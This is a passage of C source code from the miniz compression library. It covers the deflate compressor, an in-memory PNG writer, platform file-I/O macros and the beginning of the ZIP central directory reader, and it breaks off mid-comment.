tdefl_compress(tdefl_compressor *d, const void *pIn_buf, size_t *pIn_buf_size, void *pOut_buf, size_t *pOut_buf_size, tdefl_flush flush) { if (!d) { if (pIn_buf_size) *pIn_buf_size = 0; if (pOut_buf_size) *pOut_buf_size = 0; return TDEFL_STATUS_BAD_PARAM; } d->m_pIn_buf = pIn_buf; d->m_pIn_buf_size = pIn_buf_size; d->m_pOut_buf = pOut_buf; d->m_pOut_buf_size = pOut_buf_size; d->m_pSrc = (const mz_uint8 *)(pIn_buf); d->m_src_buf_left = pIn_buf_size ? *pIn_buf_size : 0; d->m_out_buf_ofs = 0; d->m_flush = flush; if ( ((d->m_pPut_buf_func != NULL) == ((pOut_buf != NULL) || (pOut_buf_size != NULL))) || (d->m_prev_return_status != TDEFL_STATUS_OKAY) || (d->m_wants_to_finish && (flush != TDEFL_FINISH)) || (pIn_buf_size && *pIn_buf_size && !pIn_buf) || (pOut_buf_size && *pOut_buf_size && !pOut_buf) ) { if (pIn_buf_size) *pIn_buf_size = 0; if (pOut_buf_size) *pOut_buf_size = 0; return (d->m_prev_return_status = TDEFL_STATUS_BAD_PARAM); } d->m_wants_to_finish |= (flush == TDEFL_FINISH); if ((d->m_output_flush_remaining) || (d->m_finished)) return (d->m_prev_return_status = tdefl_flush_output_buffer(d)); #if MINIZ_USE_UNALIGNED_LOADS_AND_STORES && MINIZ_LITTLE_ENDIAN if (((d->m_flags & TDEFL_MAX_PROBES_MASK) == 1) && ((d->m_flags & TDEFL_GREEDY_PARSING_FLAG) != 0) && ((d->m_flags & (TDEFL_FILTER_MATCHES | TDEFL_FORCE_ALL_RAW_BLOCKS | TDEFL_RLE_MATCHES)) == 0)) { if (!tdefl_compress_fast(d)) return d->m_prev_return_status; } else #endif // #if MINIZ_USE_UNALIGNED_LOADS_AND_STORES && MINIZ_LITTLE_ENDIAN { if (!tdefl_compress_normal(d)) return d->m_prev_return_status; } if ((d->m_flags & (TDEFL_WRITE_ZLIB_HEADER | TDEFL_COMPUTE_ADLER32)) && (pIn_buf)) d->m_adler32 = (mz_uint32)mz_adler32(d->m_adler32, (const mz_uint8 *)pIn_buf, d->m_pSrc - (const mz_uint8 *)pIn_buf); if ((flush) && (!d->m_lookahead_size) && (!d->m_src_buf_left) && (!d->m_output_flush_remaining)) { if (tdefl_flush_block(d, flush) < 0) return d->m_prev_return_status; d->m_finished = (flush == TDEFL_FINISH); if (flush == TDEFL_FULL_FLUSH) { MZ_CLEAR_OBJ(d->m_hash); MZ_CLEAR_OBJ(d->m_next); d->m_dict_size = 0; } } return (d->m_prev_return_status = tdefl_flush_output_buffer(d)); } tdefl_status tdefl_compress_buffer(tdefl_compressor *d, const void *pIn_buf, size_t in_buf_size, tdefl_flush flush) { MZ_ASSERT(d->m_pPut_buf_func); return tdefl_compress(d, pIn_buf, &in_buf_size, NULL, NULL, flush); } tdefl_status tdefl_init(tdefl_compressor *d, tdefl_put_buf_func_ptr pPut_buf_func, void *pPut_buf_user, int flags) { d->m_pPut_buf_func = pPut_buf_func; d->m_pPut_buf_user = pPut_buf_user; d->m_flags = (mz_uint)(flags); d->m_max_probes[0] = 1 + ((flags & 0xFFF) + 2) / 3; d->m_greedy_parsing = (flags & TDEFL_GREEDY_PARSING_FLAG) != 0; d->m_max_probes[1] = 1 + (((flags & 0xFFF) >> 2) + 2) / 3; if (!(flags & TDEFL_NONDETERMINISTIC_PARSING_FLAG)) MZ_CLEAR_OBJ(d->m_hash); d->m_lookahead_pos = d->m_lookahead_size = d->m_dict_size = d->m_total_lz_bytes = d->m_lz_code_buf_dict_pos = d->m_bits_in = 0; d->m_output_flush_ofs = d->m_output_flush_remaining = d->m_finished = d->m_block_index = d->m_bit_buffer = d->m_wants_to_finish = 0; d->m_pLZ_code_buf = d->m_lz_code_buf + 1; d->m_pLZ_flags = d->m_lz_code_buf; d->m_num_flags_left = 8; d->m_pOutput_buf = d->m_output_buf; d->m_pOutput_buf_end = d->m_output_buf; d->m_prev_return_status = TDEFL_STATUS_OKAY; d->m_saved_match_dist = d->m_saved_match_len = d->m_saved_lit = 0; d->m_adler32 = 1; d->m_pIn_buf = NULL; d->m_pOut_buf = NULL; d->m_pIn_buf_size = NULL; d->m_pOut_buf_size = NULL; d->m_flush = TDEFL_NO_FLUSH; d->m_pSrc = NULL; d->m_src_buf_left = 0; d->m_out_buf_ofs = 0; memset(&d->m_huff_count[0][0], 0, sizeof(d->m_huff_count[0][0]) * TDEFL_MAX_HUFF_SYMBOLS_0); memset(&d->m_huff_count[1][0], 0, sizeof(d->m_huff_count[1][0]) * TDEFL_MAX_HUFF_SYMBOLS_1); return TDEFL_STATUS_OKAY; } tdefl_status tdefl_get_prev_return_status(tdefl_compressor *d) { return d->m_prev_return_status; } mz_uint32 tdefl_get_adler32(tdefl_compressor *d) { return d->m_adler32; } mz_bool tdefl_compress_mem_to_output(const void *pBuf, size_t buf_len, tdefl_put_buf_func_ptr pPut_buf_func, void *pPut_buf_user, int flags) { tdefl_compressor *pComp; mz_bool succeeded; if (((buf_len) && (!pBuf)) || (!pPut_buf_func)) return MZ_FALSE; pComp = (tdefl_compressor*)MZ_MALLOC(sizeof(tdefl_compressor)); if (!pComp) return MZ_FALSE; succeeded = (tdefl_init(pComp, pPut_buf_func, pPut_buf_user, flags) == TDEFL_STATUS_OKAY); succeeded = succeeded && (tdefl_compress_buffer(pComp, pBuf, buf_len, TDEFL_FINISH) == TDEFL_STATUS_DONE); MZ_FREE(pComp); return succeeded; } typedef struct { size_t m_size, m_capacity; mz_uint8 *m_pBuf; mz_bool m_expandable; } tdefl_output_buffer; static mz_bool tdefl_output_buffer_putter(const void *pBuf, int len, void *pUser) { tdefl_output_buffer *p = (tdefl_output_buffer *)pUser; size_t new_size = p->m_size + len; if (new_size > p->m_capacity) { size_t new_capacity = p->m_capacity; mz_uint8 *pNew_buf; if (!p->m_expandable) return MZ_FALSE; do { new_capacity = MZ_MAX(128U, new_capacity << 1U); } while (new_size > new_capacity); pNew_buf = (mz_uint8*)MZ_REALLOC(p->m_pBuf, new_capacity); if (!pNew_buf) return MZ_FALSE; p->m_pBuf = pNew_buf; p->m_capacity = new_capacity; } memcpy((mz_uint8*)p->m_pBuf + p->m_size, pBuf, len); p->m_size = new_size; return MZ_TRUE; } void *tdefl_compress_mem_to_heap(const void *pSrc_buf, size_t src_buf_len, size_t *pOut_len, int flags) { tdefl_output_buffer out_buf; MZ_CLEAR_OBJ(out_buf); if (!pOut_len) return MZ_FALSE; else *pOut_len = 0; out_buf.m_expandable = MZ_TRUE; if (!tdefl_compress_mem_to_output(pSrc_buf, src_buf_len, tdefl_output_buffer_putter, &out_buf, flags)) return NULL; *pOut_len = out_buf.m_size; return out_buf.m_pBuf; } size_t tdefl_compress_mem_to_mem(void *pOut_buf, size_t out_buf_len, const void *pSrc_buf, size_t src_buf_len, int flags) { tdefl_output_buffer out_buf; MZ_CLEAR_OBJ(out_buf); if (!pOut_buf) return 0; out_buf.m_pBuf = (mz_uint8*)pOut_buf; out_buf.m_capacity = out_buf_len; if (!tdefl_compress_mem_to_output(pSrc_buf, src_buf_len, tdefl_output_buffer_putter, &out_buf, flags)) return 0; return out_buf.m_size; } #ifndef MINIZ_NO_ZLIB_APIS static const mz_uint s_tdefl_num_probes[11] = { 0, 1, 6, 32, 16, 32, 128, 256, 512, 768, 1500 }; // level may actually range from [0,10] (10 is a "hidden" max level, where we want a bit more compression and it's fine if throughput to fall off a cliff on some files). mz_uint tdefl_create_comp_flags_from_zip_params(int level, int window_bits, int strategy) { mz_uint comp_flags = s_tdefl_num_probes[(level >= 0) ? MZ_MIN(10, level) : MZ_DEFAULT_LEVEL] | ((level <= 3) ? TDEFL_GREEDY_PARSING_FLAG : 0); if (window_bits > 0) comp_flags |= TDEFL_WRITE_ZLIB_HEADER; if (!level) comp_flags |= TDEFL_FORCE_ALL_RAW_BLOCKS; else if (strategy == MZ_FILTERED) comp_flags |= TDEFL_FILTER_MATCHES; else if (strategy == MZ_HUFFMAN_ONLY) comp_flags &= ~TDEFL_MAX_PROBES_MASK; else if (strategy == MZ_FIXED) comp_flags |= TDEFL_FORCE_ALL_STATIC_BLOCKS; else if (strategy == MZ_RLE) comp_flags |= TDEFL_RLE_MATCHES; return comp_flags; } #endif //MINIZ_NO_ZLIB_APIS #ifdef _MSC_VER #pragma warning (push) #pragma warning (disable:4204) // nonstandard extension used : non-constant aggregate initializer (also supported by GNU C and C99, so no big deal) #endif // Simple PNG writer function by Alex Evans, 2011. Released into the public domain: https://gist.github.com/908299, more context at // http://altdevblogaday.org/2011/04/06/a-smaller-jpg-encoder/. // This is actually a modification of Alex's original code so PNG files generated by this function pass pngcheck. void *tdefl_write_image_to_png_file_in_memory_ex(const void *pImage, int w, int h, int num_chans, size_t *pLen_out, mz_uint level, mz_bool flip) { // Using a local copy of this array here in case MINIZ_NO_ZLIB_APIS was defined. static const mz_uint s_tdefl_png_num_probes[11] = { 0, 1, 6, 32, 16, 32, 128, 256, 512, 768, 1500 }; tdefl_compressor *pComp = (tdefl_compressor *)MZ_MALLOC(sizeof(tdefl_compressor)); tdefl_output_buffer out_buf; int i, bpl = w * num_chans, y, z; mz_uint32 c; *pLen_out = 0; if (!pComp) return NULL; MZ_CLEAR_OBJ(out_buf); out_buf.m_expandable = MZ_TRUE; out_buf.m_capacity = 57+MZ_MAX(64, (1+bpl)*h); if (NULL == (out_buf.m_pBuf = (mz_uint8*)MZ_MALLOC(out_buf.m_capacity))) { MZ_FREE(pComp); return NULL; } // write dummy header for (z = 41; z; --z) tdefl_output_buffer_putter(&z, 1, &out_buf); // compress image data tdefl_init(pComp, tdefl_output_buffer_putter, &out_buf, s_tdefl_png_num_probes[MZ_MIN(10, level)] | TDEFL_WRITE_ZLIB_HEADER); for (y = 0; y < h; ++y) { tdefl_compress_buffer(pComp, &z, 1, TDEFL_NO_FLUSH); tdefl_compress_buffer(pComp, (mz_uint8*)pImage + (flip ? (h - 1 - y) : y) * bpl, bpl, TDEFL_NO_FLUSH); } if (tdefl_compress_buffer(pComp, NULL, 0, TDEFL_FINISH) != TDEFL_STATUS_DONE) { MZ_FREE(pComp); MZ_FREE(out_buf.m_pBuf); return NULL; } // write real header *pLen_out = out_buf.m_size-41; { static const mz_uint8 chans[] = {0x00, 0x00, 0x04, 0x02, 0x06}; mz_uint8 pnghdr[41]={0x89,0x50,0x4e,0x47,0x0d,0x0a,0x1a,0x0a,0x00,0x00,0x00,0x0d,0x49,0x48,0x44,0x52, 0,0,(mz_uint8)(w>>8),(mz_uint8)w,0,0,(mz_uint8)(h>>8),(mz_uint8)h,8,chans[num_chans],0,0,0,0,0,0,0, (mz_uint8)(*pLen_out>>24),(mz_uint8)(*pLen_out>>16),(mz_uint8)(*pLen_out>>8),(mz_uint8)*pLen_out,0x49,0x44,0x41,0x54}; c=(mz_uint32)mz_crc32(MZ_CRC32_INIT,pnghdr+12,17); for (i=0; i<4; ++i, c<<=8) ((mz_uint8*)(pnghdr+29))[i]=(mz_uint8)(c>>24); memcpy(out_buf.m_pBuf, pnghdr, 41); } // write footer (IDAT CRC-32, followed by IEND chunk) if (!tdefl_output_buffer_putter("\0\0\0\0\0\0\0\0\x49\x45\x4e\x44\xae\x42\x60\x82", 16, &out_buf)) { *pLen_out = 0; MZ_FREE(pComp); MZ_FREE(out_buf.m_pBuf); return NULL; } c = (mz_uint32)mz_crc32(MZ_CRC32_INIT,out_buf.m_pBuf+41-4, *pLen_out+4); for (i=0; i<4; ++i, c<<=8) (out_buf.m_pBuf+out_buf.m_size-16)[i] = (mz_uint8)(c >> 24); // compute final size of file, grab compressed data buffer and return *pLen_out += 57; MZ_FREE(pComp); return out_buf.m_pBuf; } void *tdefl_write_image_to_png_file_in_memory(const void *pImage, int w, int h, int num_chans, size_t *pLen_out) { // Level 6 corresponds to TDEFL_DEFAULT_MAX_PROBES or MZ_DEFAULT_LEVEL (but we can't depend on MZ_DEFAULT_LEVEL being available in case the zlib API's where #defined out) return tdefl_write_image_to_png_file_in_memory_ex(pImage, w, h, num_chans, pLen_out, 6, MZ_FALSE); } #ifdef _MSC_VER #pragma warning (pop) #endif // ------------------- .ZIP archive reading #ifndef MINIZ_NO_ARCHIVE_APIS #ifdef MINIZ_NO_STDIO #define MZ_FILE void * #else #include <stdio.h> #include <sys/stat.h> #if defined(_MSC_VER) || defined(__MINGW64__) static FILE *mz_fopen(const char *pFilename, const char *pMode) { FILE* pFile = NULL; fopen_s(&pFile, pFilename, pMode); return pFile; } static FILE *mz_freopen(const char *pPath, const char *pMode, FILE *pStream) { FILE* pFile = NULL; if (freopen_s(&pFile, pPath, pMode, pStream)) return NULL; return pFile; } #ifndef MINIZ_NO_TIME #include <sys/utime.h> #endif #define MZ_FILE FILE #define MZ_FOPEN mz_fopen #define MZ_FCLOSE fclose #define MZ_FREAD fread #define MZ_FWRITE fwrite #define MZ_FTELL64 _ftelli64 #define MZ_FSEEK64 _fseeki64 #define MZ_FILE_STAT_STRUCT _stat #define MZ_FILE_STAT _stat #define MZ_FFLUSH fflush #define MZ_FREOPEN mz_freopen #define MZ_DELETE_FILE remove #elif defined(__MINGW32__) #ifndef MINIZ_NO_TIME #include <sys/utime.h> #endif #define MZ_FILE FILE #define MZ_FOPEN(f, m) fopen(f, m) #define MZ_FCLOSE fclose #define MZ_FREAD fread #define MZ_FWRITE fwrite #define MZ_FTELL64 ftello64 #define MZ_FSEEK64 fseeko64 #define MZ_FILE_STAT_STRUCT _stat #define MZ_FILE_STAT _stat #define MZ_FFLUSH fflush #define MZ_FREOPEN(f, m, s) freopen(f, m, s) #define MZ_DELETE_FILE remove #elif defined(__TINYC__) #ifndef MINIZ_NO_TIME #include <sys/utime.h> #endif #define MZ_FILE FILE #define MZ_FOPEN(f, m) fopen(f, m) #define MZ_FCLOSE fclose #define MZ_FREAD fread #define MZ_FWRITE fwrite #define MZ_FTELL64 ftell #define MZ_FSEEK64 fseek #define MZ_FILE_STAT_STRUCT stat #define MZ_FILE_STAT stat #define MZ_FFLUSH fflush #define MZ_FREOPEN(f, m, s) freopen(f, m, s) #define MZ_DELETE_FILE remove #elif defined(__GNUC__) && _LARGEFILE64_SOURCE #ifndef MINIZ_NO_TIME #include <utime.h> #endif #define MZ_FILE FILE #define MZ_FOPEN(f, m) fopen64(f, m) #define MZ_FCLOSE fclose #define MZ_FREAD fread #define MZ_FWRITE fwrite #define MZ_FTELL64 ftello64 #define MZ_FSEEK64 fseeko64 #define MZ_FILE_STAT_STRUCT stat64 #define MZ_FILE_STAT stat64 #define MZ_FFLUSH fflush #define MZ_FREOPEN(p, m, s) freopen64(p, m, s) #define MZ_DELETE_FILE remove #else #ifndef MINIZ_NO_TIME #include <utime.h> #endif #define MZ_FILE FILE #define MZ_FOPEN(f, m) fopen(f, m) #define MZ_FCLOSE fclose #define MZ_FREAD fread #define MZ_FWRITE fwrite #define MZ_FTELL64 ftello #define MZ_FSEEK64 fseeko #define MZ_FILE_STAT_STRUCT stat #define MZ_FILE_STAT stat #define MZ_FFLUSH fflush #define MZ_FREOPEN(f, m, s) freopen(f, m, s) #define MZ_DELETE_FILE remove #endif // #ifdef _MSC_VER #endif // #ifdef MINIZ_NO_STDIO #define MZ_TOLOWER(c) ((((c) >= 'A') && ((c) <= 'Z')) ? ((c) - 'A' + 'a') : (c)) // Various ZIP archive enums. To completely avoid cross platform compiler alignment and platform endian issues, miniz.c doesn't use structs for any of this stuff. enum { // ZIP archive identifiers and record sizes MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIG = 0x06054b50, MZ_ZIP_CENTRAL_DIR_HEADER_SIG = 0x02014b50, MZ_ZIP_LOCAL_DIR_HEADER_SIG = 0x04034b50, MZ_ZIP_LOCAL_DIR_HEADER_SIZE = 30, MZ_ZIP_CENTRAL_DIR_HEADER_SIZE = 46, MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIZE = 22, // Central directory header record offsets MZ_ZIP_CDH_SIG_OFS = 0, MZ_ZIP_CDH_VERSION_MADE_BY_OFS = 4, MZ_ZIP_CDH_VERSION_NEEDED_OFS = 6, MZ_ZIP_CDH_BIT_FLAG_OFS = 8, MZ_ZIP_CDH_METHOD_OFS = 10, MZ_ZIP_CDH_FILE_TIME_OFS = 12, MZ_ZIP_CDH_FILE_DATE_OFS = 14, MZ_ZIP_CDH_CRC32_OFS = 16, MZ_ZIP_CDH_COMPRESSED_SIZE_OFS = 20, MZ_ZIP_CDH_DECOMPRESSED_SIZE_OFS = 24, MZ_ZIP_CDH_FILENAME_LEN_OFS = 28, MZ_ZIP_CDH_EXTRA_LEN_OFS = 30, MZ_ZIP_CDH_COMMENT_LEN_OFS = 32, MZ_ZIP_CDH_DISK_START_OFS = 34, MZ_ZIP_CDH_INTERNAL_ATTR_OFS = 36, MZ_ZIP_CDH_EXTERNAL_ATTR_OFS = 38, MZ_ZIP_CDH_LOCAL_HEADER_OFS = 42, // Local directory header offsets MZ_ZIP_LDH_SIG_OFS = 0, MZ_ZIP_LDH_VERSION_NEEDED_OFS = 4, MZ_ZIP_LDH_BIT_FLAG_OFS = 6, MZ_ZIP_LDH_METHOD_OFS = 8, MZ_ZIP_LDH_FILE_TIME_OFS = 10, MZ_ZIP_LDH_FILE_DATE_OFS = 12, MZ_ZIP_LDH_CRC32_OFS = 14, MZ_ZIP_LDH_COMPRESSED_SIZE_OFS = 18, MZ_ZIP_LDH_DECOMPRESSED_SIZE_OFS = 22, MZ_ZIP_LDH_FILENAME_LEN_OFS = 26, MZ_ZIP_LDH_EXTRA_LEN_OFS = 28, // End of central directory offsets MZ_ZIP_ECDH_SIG_OFS = 0, MZ_ZIP_ECDH_NUM_THIS_DISK_OFS = 4, MZ_ZIP_ECDH_NUM_DISK_CDIR_OFS = 6, MZ_ZIP_ECDH_CDIR_NUM_ENTRIES_ON_DISK_OFS = 8, MZ_ZIP_ECDH_CDIR_TOTAL_ENTRIES_OFS = 10, MZ_ZIP_ECDH_CDIR_SIZE_OFS = 12, MZ_ZIP_ECDH_CDIR_OFS_OFS = 16, MZ_ZIP_ECDH_COMMENT_SIZE_OFS = 20, }; typedef struct { void *m_p; size_t m_size, m_capacity; mz_uint m_element_size; } mz_zip_array; struct mz_zip_internal_state_tag { mz_zip_array m_central_dir; mz_zip_array m_central_dir_offsets; mz_zip_array m_sorted_central_dir_offsets; MZ_FILE *m_pFile; void *m_pMem; size_t m_mem_size; size_t m_mem_capacity; }; #define MZ_ZIP_ARRAY_SET_ELEMENT_SIZE(array_ptr, element_size) (array_ptr)->m_element_size = element_size #define MZ_ZIP_ARRAY_ELEMENT(array_ptr, element_type, index) ((element_type *)((array_ptr)->m_p))[index] static MZ_FORCEINLINE void mz_zip_array_clear(mz_zip_archive *pZip, mz_zip_array *pArray) { pZip->m_pFree(pZip->m_pAlloc_opaque, pArray->m_p); memset(pArray, 0, sizeof(mz_zip_array)); } static mz_bool mz_zip_array_ensure_capacity(mz_zip_archive *pZip, mz_zip_array *pArray, size_t min_new_capacity, mz_uint growing) { void *pNew_p; size_t new_capacity = min_new_capacity; MZ_ASSERT(pArray->m_element_size); if (pArray->m_capacity >= min_new_capacity) return MZ_TRUE; if (growing) { new_capacity = MZ_MAX(1, pArray->m_capacity); while (new_capacity < min_new_capacity) new_capacity *= 2; } if (NULL == (pNew_p = pZip->m_pRealloc(pZip->m_pAlloc_opaque, pArray->m_p, pArray->m_element_size, new_capacity))) return MZ_FALSE; pArray->m_p = pNew_p; pArray->m_capacity = new_capacity; return MZ_TRUE; } static MZ_FORCEINLINE mz_bool mz_zip_array_reserve(mz_zip_archive *pZip, mz_zip_array *pArray, size_t new_capacity, mz_uint growing) { if (new_capacity > pArray->m_capacity) { if (!mz_zip_array_ensure_capacity(pZip, pArray, new_capacity, growing)) return MZ_FALSE; } return MZ_TRUE; } static MZ_FORCEINLINE mz_bool mz_zip_array_resize(mz_zip_archive *pZip, mz_zip_array *pArray, size_t new_size, mz_uint growing) { if (new_size > pArray->m_capacity) { if (!mz_zip_array_ensure_capacity(pZip, pArray, new_size, growing)) return MZ_FALSE; } pArray->m_size = new_size; return MZ_TRUE; } static MZ_FORCEINLINE mz_bool mz_zip_array_ensure_room(mz_zip_archive *pZip, mz_zip_array *pArray, size_t n) { return mz_zip_array_reserve(pZip, pArray, pArray->m_size + n, MZ_TRUE); } static MZ_FORCEINLINE mz_bool mz_zip_array_push_back(mz_zip_archive *pZip, mz_zip_array *pArray, const void *pElements, size_t n) { size_t orig_size = pArray->m_size; if (!mz_zip_array_resize(pZip, pArray, orig_size + n, MZ_TRUE)) return MZ_FALSE; memcpy((mz_uint8*)pArray->m_p + orig_size * pArray->m_element_size, pElements, n * pArray->m_element_size); return MZ_TRUE; } #ifndef MINIZ_NO_TIME static time_t mz_zip_dos_to_time_t(int dos_time, int dos_date) { struct tm tm; memset(&tm, 0, sizeof(tm)); tm.tm_isdst = -1; tm.tm_year = ((dos_date >> 9) & 127) + 1980 - 1900; tm.tm_mon = ((dos_date >> 5) & 15) - 1; tm.tm_mday = dos_date & 31; tm.tm_hour = (dos_time >> 11) & 31; tm.tm_min = (dos_time >> 5) & 63; tm.tm_sec = (dos_time << 1) & 62; return mktime(&tm); } static void mz_zip_time_to_dos_time(time_t time, mz_uint16 *pDOS_time, mz_uint16 *pDOS_date) { #ifdef _MSC_VER struct tm tm_struct; struct tm *tm = &tm_struct; errno_t err = localtime_s(tm, &time); if (err) { *pDOS_date = 0; *pDOS_time = 0; return; } #else struct tm *tm = localtime(&time); #endif *pDOS_time = (mz_uint16)(((tm->tm_hour) << 11) + ((tm->tm_min) << 5) + ((tm->tm_sec) >> 1)); *pDOS_date = (mz_uint16)(((tm->tm_year + 1900 - 1980) << 9) + ((tm->tm_mon + 1) << 5) + tm->tm_mday); } #endif #ifndef MINIZ_NO_STDIO static mz_bool mz_zip_get_file_modified_time(const char *pFilename, mz_uint16 *pDOS_time, mz_uint16 *pDOS_date) { #ifdef MINIZ_NO_TIME (void)pFilename; *pDOS_date = *pDOS_time = 0; #else struct MZ_FILE_STAT_STRUCT file_stat; // On Linux with x86 glibc, this call will fail on large files (>= 0x80000000 bytes) unless you compiled with _LARGEFILE64_SOURCE. Argh. if (MZ_FILE_STAT(pFilename, &file_stat) != 0) return MZ_FALSE; mz_zip_time_to_dos_time(file_stat.st_mtime, pDOS_time, pDOS_date); #endif // #ifdef MINIZ_NO_TIME return MZ_TRUE; } #ifndef MINIZ_NO_TIME static mz_bool mz_zip_set_file_times(const char *pFilename, time_t access_time, time_t modified_time) { struct utimbuf t; t.actime = access_time; t.modtime = modified_time; return !utime(pFilename, &t); } #endif // #ifndef MINIZ_NO_TIME #endif // #ifndef MINIZ_NO_STDIO static mz_bool mz_zip_reader_init_internal(mz_zip_archive *pZip, mz_uint32 flags) { (void)flags; if ((!pZip) || (pZip->m_pState) || (pZip->m_zip_mode != MZ_ZIP_MODE_INVALID)) return MZ_FALSE; if (!pZip->m_pAlloc) pZip->m_pAlloc = def_alloc_func; if (!pZip->m_pFree) pZip->m_pFree = def_free_func; if (!pZip->m_pRealloc) pZip->m_pRealloc = def_realloc_func; pZip->m_zip_mode = MZ_ZIP_MODE_READING; pZip->m_archive_size = 0; pZip->m_central_directory_file_ofs = 0; pZip->m_total_files = 0; if (NULL == (pZip->m_pState = (mz_zip_internal_state *)pZip->m_pAlloc(pZip->m_pAlloc_opaque, 1, sizeof(mz_zip_internal_state)))) return MZ_FALSE; memset(pZip->m_pState, 0, sizeof(mz_zip_internal_state)); MZ_ZIP_ARRAY_SET_ELEMENT_SIZE(&pZip->m_pState->m_central_dir, sizeof(mz_uint8)); MZ_ZIP_ARRAY_SET_ELEMENT_SIZE(&pZip->m_pState->m_central_dir_offsets, sizeof(mz_uint32)); MZ_ZIP_ARRAY_SET_ELEMENT_SIZE(&pZip->m_pState->m_sorted_central_dir_offsets, sizeof(mz_uint32)); return MZ_TRUE; } static MZ_FORCEINLINE mz_bool mz_zip_reader_filename_less(const mz_zip_array *pCentral_dir_array, const mz_zip_array *pCentral_dir_offsets, mz_uint l_index, mz_uint r_index) { const mz_uint8 *pL = &MZ_ZIP_ARRAY_ELEMENT(pCentral_dir_array, mz_uint8, MZ_ZIP_ARRAY_ELEMENT(pCentral_dir_offsets, mz_uint32, l_index)), *pE; const mz_uint8 *pR = &MZ_ZIP_ARRAY_ELEMENT(pCentral_dir_array, mz_uint8, MZ_ZIP_ARRAY_ELEMENT(pCentral_dir_offsets, mz_uint32, r_index)); mz_uint l_len = MZ_READ_LE16(pL + MZ_ZIP_CDH_FILENAME_LEN_OFS), r_len = MZ_READ_LE16(pR + MZ_ZIP_CDH_FILENAME_LEN_OFS); mz_uint8 l = 0, r = 0; pL += MZ_ZIP_CENTRAL_DIR_HEADER_SIZE; pR += MZ_ZIP_CENTRAL_DIR_HEADER_SIZE; pE = pL + MZ_MIN(l_len, r_len); while (pL < pE) { if ((l = MZ_TOLOWER(*pL)) != (r = MZ_TOLOWER(*pR))) break; pL++; pR++; } return (pL == pE) ? (l_len < r_len) : (l < r); } #define MZ_SWAP_UINT32(a, b) do { mz_uint32 t = a; a = b; b = t; } MZ_MACRO_END // Heap sort of lowercased filenames, used to help accelerate plain central directory searches by mz_zip_reader_locate_file(). (Could also use qsort(), but it could allocate memory.) static void mz_zip_reader_sort_central_dir_offsets_by_filename(mz_zip_archive *pZip) { mz_zip_internal_state *pState = pZip->m_pState; const mz_zip_array *pCentral_dir_offsets = &pState->m_central_dir_offsets; const mz_zip_array *pCentral_dir = &pState->m_central_dir; mz_uint32 *pIndices = &MZ_ZIP_ARRAY_ELEMENT(&pState->m_sorted_central_dir_offsets, mz_uint32, 0); const int size = pZip->m_total_files; int start = (size - 2) >> 1, end; while (start >= 0) { int child, root = start; for ( ; ; ) { if ((child = (root << 1) + 1) >= size) break; child += (((child + 1) < size) && (mz_zip_reader_filename_less(pCentral_dir, pCentral_dir_offsets, pIndices[child], pIndices[child + 1]))); if (!mz_zip_reader_filename_less(pCentral_dir, pCentral_dir_offsets, pIndices[root], pIndices[child])) break; MZ_SWAP_UINT32(pIndices[root], pIndices[child]); root = child; } start--; } end = size - 1; while (end > 0) { int child, root = 0; MZ_SWAP_UINT32(pIndices[end], pIndices[0]); for ( ; ; ) { if ((child = (root << 1) + 1) >= end) break; child += (((child + 1) < end) && mz_zip_reader_filename_less(pCentral_dir, pCentral_dir_offsets, pIndices[child], pIndices[child + 1])); if (!mz_zip_reader_filename_less(pCentral_dir, pCentral_dir_offsets, pIndices[root], pIndices[child])) break; MZ_SWAP_UINT32(pIndices[root], pIndices[child]); root = child; } end--; } } static mz_bool mz_zip_reader_read_central_dir(mz_zip_archive *pZip, mz_uint32 flags) { mz_uint cdir_size, num_this_disk, cdir_disk_index; mz_uint64 cdir_ofs; mz_int64 cur_file_ofs; const mz_uint8 *p; mz_uint32 buf_u32[4096 / sizeof(mz_uint32)]; mz_uint8 *pBuf = (mz_uint8 *)buf_u32; mz_bool sort_central_dir = ((flags & MZ_ZIP_FLAG_DO_NOT_SORT_CENTRAL_DIRECTORY) == 0); // Basic sanity checks - reject files which are too small, and check the first 4 bytes of the file to make sure a local header is there. if (pZip->m_archive_size < MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIZE) return MZ_FALSE; // Find the end of central directory record by scanning the file from the end towards the beginning. cur_file_ofs = MZ_MAX((mz_int64)pZip->m_archive_size - (mz_int64)sizeof(buf_u32), 0); for ( ; ; ) { int i, n = (int)MZ_MIN(sizeof(buf_u32), pZip->m_archive_size - cur_file_ofs); if (pZip->m_pRead(pZip->m_pIO_opaque, cur_file_ofs, pBuf, n) != (mz_uint)n) return MZ_FALSE; for (i = n - 4; i >= 0; --i) if (MZ_READ_LE32(pBuf + i) == MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIG) break; if (i >= 0) { cur_file_ofs += i; break; } if ((!cur_file_ofs) || ((pZip->m_archive_size - cur_file_ofs) >= (0xFFFF + MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIZE))) return MZ_FALSE; cur_file_ofs = MZ_MAX(cur_file_ofs - (sizeof(buf_u32) - 3), 0); } // Read and verify the end of central directory record. if (pZip->m_pRead(pZip->m_pIO_opaque, cur_file_ofs, pBuf, MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIZE) != MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIZE) return MZ_FALSE; if ((MZ_READ_LE32(pBuf + MZ_ZIP_ECDH_SIG_OFS) != MZ_ZIP_END_OF_CENTRAL_DIR_HEADER_SIG) || ((pZip->m_total_files = MZ_READ_LE16(pBuf + MZ_ZIP_ECDH_CDIR_TOTAL_ENTRIES_OFS)) != MZ_READ_LE16(pBuf + MZ_ZIP_ECDH_CDIR_NUM_ENTRIES_ON_DISK_OFS))) return MZ_FALSE; num_this_disk = MZ_READ_LE16(pBuf + MZ_ZIP_ECDH_NUM_THIS_DISK_OFS); cdir_disk_index = MZ_READ_LE16(pBuf + MZ_ZIP_ECDH_NUM_DISK_CDIR_OFS); if (((num_this_disk | cdir_disk_index) != 0) && ((num_this_disk != 1) || (cdir_disk_index != 1))) return MZ_FALSE; if ((cdir_size = MZ_READ_LE32(pBuf + MZ_ZIP_ECDH_CDIR_SIZE_OFS)) < pZip->m_total_files * MZ_ZIP_CENTRAL_DIR_HEADER_SIZE) return MZ_FALSE; cdir_ofs = MZ_READ_LE32(pBuf + MZ_ZIP_ECDH_CDIR_OFS_OFS); if ((cdir_ofs + (mz_uint64)cdir_size) > pZip->m_archive_size) return MZ_FALSE; pZip->m_central_directory_file_ofs = cdir_ofs; if (pZip->m_total_files) { mz_uint i, n; // Read the entire central directory into a heap block, and allocate 